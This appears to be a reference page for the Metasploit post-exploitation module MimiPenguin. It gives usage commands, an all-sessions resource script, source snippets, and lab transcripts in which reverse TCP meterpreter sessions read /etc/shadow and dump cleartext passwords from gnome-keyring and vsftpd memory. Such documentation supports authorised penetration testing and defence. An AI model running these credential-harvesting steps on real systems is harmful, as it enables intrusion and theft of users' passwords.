MimiPenguin - Metasploit

This page contains detailed information about how to use the post/linux/gather/mimipenguin metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: MimiPenguin
Module: post/linux/gather/mimipenguin
Source code: modules/post/linux/gather/mimipenguin.rb
Disclosure date: 2018-05-23
Last modification time: 2022-10-13 10:13:27 +0000
Supported architecture(s): x86, x64, aarch64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-20781

This searches process memory for needles that indicate where cleartext passwords may be located. If any needles are discovered in the target process memory, collected strings in adjacent memory will be hashed and compared with password hashes found in /etc/shadow.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/mimipenguin

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/mimipenguin
msf post(mimipenguin) > show options
    ... show and set options ...
msf post(mimipenguin) > set SESSION session-id
msf post(mimipenguin) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/mimipenguin")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

SESSION: The session to run this module on

Knowledge Base

Vulnerable Application

This finds cleartext passwords in process memory by first locating needles that are known to be found nearby.

This currently searches for passwords in gnome-keyring-daemon, gdm-password, vsftpd, ssh, and lightdm.

Verification Steps

Get a meterpreter session on a Linux-based target (with root privileges)
Do: use post/linux/gather/mimipenguin
Do: set session <sess_no>
Do: run
You should get credentials for the vulnerable services installed

Scenarios

Ubuntu 22.04 x64

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.140
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.140:35100 ) at 2022-06-22 13:11:24 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.140.140
OS           : Ubuntu 22.04 (Linux 5.15.0-37-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/linux/gather/mimipenguin
msf6 post(linux/gather/mimipenguin) > set session 1
session => 1
msf6 post(linux/gather/mimipenguin) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 1 valid credential(s)!

Credentials
===========

  Process Name          Username     Password
  ------------          --------     --------
  gnome-keyring-daemon  mimipenguin  M!mipenguinPass

[*] Credentials stored in /home/space/.msf4/loot/20220622131237_default_192.168.140.140_mimipenguin.csv_806145.txt
[*] Post module execution completed

Ubuntu 21.04 x64

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.131
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.131:57524 ) at 2022-06-22 13:17:35 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.140.131
OS           : Ubuntu 21.04 (Linux 5.11.0-49-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 2
session => 2
msf6 post(linux/gather/mimipenguin) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!

Credentials
===========

  Process Name          Username  Password
  ------------          --------  --------
  gnome-keyring-daemon  space     password
  vsftpd                jdoe      AccountF0rFTP

[*] Credentials stored in /home/space/.msf4/loot/20220622131938_default_192.168.140.131_mimipenguin.csv_269764.txt
[*] Post module execution completed

Fedora 27 x64

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.165
[*] Meterpreter session 3 opened (192.168.140.1:4444 -> 192.168.140.165:39180 ) at 2022-06-22 13:23:26 -0500

meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 3
session => 3
msf6 post(linux/gather/mimipenguin) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!

Credentials
===========

  Process Name          Username     Password
  ------------          --------     --------
  gnome-keyring-daemon  mimipenguin  M!mipenguinPass
  vsftpd                ftp_user     FTPP@ssword

[*] Credentials stored in /home/space/.msf4/loot/20220622132521_default_192.168.140.165_mimipenguin.csv_330546.txt
[*] Post module execution completed

Ubuntu 14.04.1 x86

msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (989032 bytes) to 192.168.140.135
[*] Meterpreter session 4 opened (192.168.140.1:4444 -> 192.168.140.135:37070 ) at 2022-06-22 13:34:19 -0500

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.140.135
OS           : Ubuntu 14.04 (Linux 4.4.0-142-generic)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > background
[*] Backgrounding session 4...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 4
session => 4
msf6 post(linux/gather/mimipenguin) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!

Credentials
===========

  Process Name          Username  Password
  ------------          --------  --------
  gnome-keyring-daemon  space     password
  gnome-keyring-daemon  test      RunningUpThatH!ll

[*] Credentials stored in /Users/space/.msf4/loot/20220622133502_default_192.168.140.135_mimipenguin.csv_117775.txt
[*] Post module execution completed

Go back to menu.

Msfconsole Usage

Here is how the linux/gather/mimipenguin post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/mimipenguin

msf6 post(linux/gather/mimipenguin) > show info

       Name: MimiPenguin
     Module: post/linux/gather/mimipenguin
   Platform: Linux
       Arch: x86, x64, aarch64
       Rank: Normal
  Disclosed: 2018-05-23

Provided by:
  huntergregal
  bcoles <[email protected]>
  Shelby Pace

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on

Description:
  This searches process memory for needles that indicate where 
  cleartext passwords may be located. If any needles are discovered in 
  the target process memory, collected strings in adjacent memory will 
  be hashed and compared with password hashes found in `/etc/shadow`.

References:
  https://github.com/huntergregal/mimipenguin
  https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919
  https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490
  https://nvd.nist.gov/vuln/detail/CVE-2018-20781

Module Options

This is a complete list of options available in the linux/gather/mimipenguin post exploitation module:

msf6 post(linux/gather/mimipenguin) > show options

Module options (post/linux/gather/mimipenguin):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on

Advanced Options

Here is a complete list of advanced options supported by the linux/gather/mimipenguin post exploitation module:

msf6 post(linux/gather/mimipenguin) > show advanced

Module advanced options (post/linux/gather/mimipenguin):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/gather/mimipenguin module can do:

msf6 post(linux/gather/mimipenguin) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the linux/gather/mimipenguin post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/mimipenguin) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Failed to read '/etc/shadow'
Invalid target info supplied
PID for <VALUE> not found.
Root privileges are required
Failed to retrieve user information
No matches found for process <NAME>
Failed to find any passwords

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to read '/etc/shadow'

Here is a relevant code snippet related to the "Failed to read '/etc/shadow'" error message:

60:	    )
61:	  end
62:	
63:	  def get_user_names_and_hashes
64:	    shadow_contents = read_file('/etc/shadow')
65:	    fail_with(Failure::UnexpectedReply, "Failed to read '/etc/shadow'") if shadow_contents.blank?
66:	    vprint_status('Storing shadow file...')
67:	    store_loot('shadow.file', 'text/plain', session, shadow_contents, nil)
68:	
69:	    users = []
70:	    lines = shadow_contents.split

Invalid target info supplied

Here is a relevant code snippet related to the "Invalid target info supplied" error message:

110:	    user_data
111:	  end
112:	
113:	  def get_matches(target_info = {})
114:	    if target_info.empty?
115:	      vprint_status('Invalid target info supplied')
116:	      return nil
117:	    end
118:	
119:	    target_pids = pidof(target_info['name'])
120:	    if target_pids.nil?

PID for <VALUE> not found.

Here is a relevant code snippet related to the "PID for <VALUE> not found." error message:

116:	      return nil
117:	    end
118:	
119:	    target_pids = pidof(target_info['name'])
120:	    if target_pids.nil?
121:	      print_bad("PID for #{target_info['name']} not found.")
122:	      return nil
123:	    end
124:	
125:	    target_info['matches'] = {}
126:	    target_info['pids'] = target_pids

Root privileges are required

Here is a relevant code snippet related to the "Root privileges are required" error message:

289:	      end
290:	    end
291:	  end
292:	
293:	  def run
294:	    fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?
295:	    user_data = get_user_names_and_hashes
296:	    fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?
297:	    password_data = configure_passwords(user_data)
298:	
299:	    target_proc_info = [

Failed to retrieve user information

Here is a relevant code snippet related to the "Failed to retrieve user information" error message:

291:	  end
292:	
293:	  def run
294:	    fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?
295:	    user_data = get_user_names_and_hashes
296:	    fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?
297:	    password_data = configure_passwords(user_data)
298:	
299:	    target_proc_info = [
300:	      {
301:	        'name' => 'gnome-keyring-daemon',

No matches found for process <NAME>

Here is a relevant code snippet related to the "No matches found for process <NAME>" error message:

336:	    captured_strings = []
337:	    target_proc_info.each do |info|
338:	      print_status("Checking for matches in process #{info['name']}")
339:	      match_set = get_matches(info)
340:	      if match_set.nil?
341:	        vprint_status("No matches found for process #{info['name']}")
342:	        next
343:	      end
344:	
345:	      vprint_status('Choosing memory regions to search')
346:	      next if info['pids'].empty?

Failed to find any passwords

Here is a relevant code snippet related to the "Failed to find any passwords" error message:

359:	        captured_strings = []
360:	      end
361:	    end
362:	
363:	    results = password_data.select { |res| res.key?('password') && !res['password'].nil? }
364:	    fail_with(Failure::NotFound, 'Failed to find any passwords') if results.empty?
365:	    print_good("Found #{results.length} valid credential(s)!")
366:	
367:	    table = Rex::Text::Table.new(
368:	      'Header' => 'Credentials',
369:	      'Indent' => 2,

Go back to menu.